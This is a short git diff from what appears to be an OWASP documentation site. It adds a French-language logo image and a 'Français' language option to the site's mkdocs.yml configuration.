a/editions/2023/fr/images/owasp-logo.png b/editions/2023/fr/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/fr/images/owasp-logo.png differ diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index 98a46f03a..2a5d7cb7d 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -5,3 +5,5 @@ extra: alternate: - name: English lang: en + - name: Français + lang: fr